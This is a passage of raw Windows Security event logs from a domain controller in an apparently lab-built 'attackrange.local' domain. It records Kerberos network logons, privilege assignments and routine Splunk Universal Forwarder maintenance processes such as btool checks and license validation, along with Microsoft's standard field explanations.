an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250183 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250182 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1054 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250181 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1064 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250180 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1013F1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250179 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1013F1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64405 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250178 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1013F1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250177 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x101390 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250176 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x101390 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64404 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250175 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x101390 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250174 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10132A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250173 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10132A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64403 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250172 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10132A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250171 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1012C9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250170 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1012C9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64402 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250169 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1012C9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250201 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x126c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250200 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1284 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1200 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250199 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1200 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250198 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x101F2A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250197 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x101F2A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64409 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250196 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x101F2A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250195 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x101EC9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250194 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x101EC9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64408 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250193 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x101EC9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250192 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x101E63 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250191 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x101E63 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64407 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 